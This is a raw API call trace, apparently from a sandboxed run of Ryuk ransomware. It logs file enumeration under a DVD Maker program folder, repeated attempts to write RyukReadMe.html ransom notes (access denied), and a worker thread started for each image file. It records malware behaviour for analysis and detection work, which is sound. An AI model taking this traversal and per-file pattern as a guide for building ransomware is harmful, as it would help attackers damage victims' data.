	[0226.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.775] GetLastError () returned 0x5
	[0226.775] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0226.775] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.775] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1
	[0226.775] SetLastError (dwErrCode=0x0) 
	[0226.775] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.775] GetLastError () returned 0x5
	[0226.775] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0226.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0226.781] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0226.781] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0226.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88
	[0226.783] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.784] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0226.784] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c
	[0226.786] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.787] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1
	[0226.787] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb90
	[0226.789] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.790] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1
	[0226.790] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb94
	[0226.792] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.792] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x76, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0226.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98
	[0226.795] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.796] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0226.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c
	[0226.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.799] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0226.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0
	[0226.802] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.802] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0226.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4
	[0226.804] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.805] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0226.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8
	[0226.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.808] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1
	[0226.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbac
	[0226.975] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.976] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x76, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1
	[0226.976] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb8
	[0226.978] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.979] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1
	[0226.979] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbbc
	[0226.982] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.982] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1
	[0226.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc0
	[0226.985] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.985] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x76, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1
	[0226.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc4
	[0226.988] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.989] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1
	[0226.989] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8
	[0226.991] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.992] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1
	[0226.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbcc
	[0226.994] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.995] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1
	[0226.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0
	[0226.997] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.998] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0
	[0226.998] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0227.367] SetLastError (dwErrCode=0x0) 
	[0227.367] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.374] GetLastError () returned 0x5
	[0227.374] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0227.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.375] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x62, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1
	[0227.375] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4
	[0227.377] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.378] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0227.378] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8
	[0227.379] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.380] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0227.380] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc
	[0227.383] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.383] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0227.383] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0
	[0227.385] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.386] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0227.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe4
